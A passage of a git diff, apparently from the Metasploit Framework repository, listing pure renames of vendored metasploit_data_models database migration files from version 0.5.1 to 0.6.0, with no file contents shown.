b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/019_add_workspace_desc.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/019_add_workspace_desc.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/020_add_user_preferences.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/020_add_user_preferences.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/021_standardize_info_and_data.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/021_standardize_info_and_data.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/022_enlarge_event_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/022_enlarge_event_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/023_add_report_downloaded_at.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/023_add_report_downloaded_at.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/024_convert_service_info_to_text.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/024_convert_service_info_to_text.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/025_add_user_admin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/025_add_user_admin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/026_add_creds_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/026_add_creds_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100819123300_migrate_cred_data.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100819123300_migrate_cred_data.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100824151500_add_exploited_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100824151500_add_exploited_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100908001428_add_owner_to_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100908001428_add_owner_to_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100911122000_add_report_templates.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100911122000_add_report_templates.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916151530_require_admin_flag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916151530_require_admin_flag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916175000_add_campaigns_and_templates.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916175000_add_campaigns_and_templates.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100920012100_add_generate_exe_column.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100920012100_add_generate_exe_column.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100926214000_add_template_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100926214000_add_template_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101001000000_add_web_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101001000000_add_web_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101002000000_add_query.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101002000000_add_query.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101007000000_add_vuln_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101007000000_add_vuln_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101008111800_add_clients_to_campaigns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101008111800_add_clients_to_campaigns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101009023300_add_campaign_attachments.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101009023300_add_campaign_attachments.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101104135100_add_imported_creds.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101104135100_add_imported_creds.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000000_fix_web_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000000_fix_web_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000001_expand_host_comment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000001_expand_host_comment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110112154300_add_module_uuid_to_tasks.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110112154300_add_module_uuid_to_tasks.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110204112800_add_host_tags.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110204112800_add_host_tags.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110317144932_add_session_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110317144932_add_session_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110414180600_add_local_id_to_session_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110414180600_add_local_id_to_session_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110415175705_add_routes_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110415175705_add_routes_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110422000000_convert_binary.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110422000000_convert_binary.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110425095900_add_last_seen_to_sessions.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110425095900_add_last_seen_to_sessions.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110513143900_track_successful_exploits.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110513143900_track_successful_exploits.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000000_add_task_id_to_reports_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000000_add_task_id_to_reports_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000001_add_api_keys_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000001_add_api_keys_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110606000001_add_macros_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110606000001_add_macros_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110622000000_add_settings_to_tasks_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110622000000_add_settings_to_tasks_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110624000001_add_listeners_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110624000001_add_listeners_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110625000001_add_macro_to_listeners_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110625000001_add_macro_to_listeners_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000001_add_nexpose_consoles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000001_add_nexpose_consoles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110717000001_add_profiles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110717000001_add_profiles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110727163801_expand_cred_ptype_column.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110727163801_expand_cred_ptype_column.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110730000001_add_initial_indexes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110730000001_add_initial_indexes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110812000001_prune_indexes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110812000001_prune_indexes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110922000000_expand_notes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110922000000_expand_notes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110928101300_add_mod_ref_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110928101300_add_mod_ref_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111011110000_add_display_name_to_reports_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111011110000_add_display_name_to_reports_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111203000000_inet_columns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111203000000_inet_columns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111204000000_more_inet_columns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111204000000_more_inet_columns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111210000000_add_scope_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111210000000_add_scope_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120126110000_add_virtual_host_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120126110000_add_virtual_host_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120411173220_rename_workspace_members.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120411173220_rename_workspace_members.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120601152442_add_counter_caches_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120601152442_add_counter_caches_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000000_add_vuln_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000000_add_vuln_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000001_add_host_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000001_add_host_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000002_expand_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000002_expand_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000003_expand_details2.rb similarity index 100% rename from 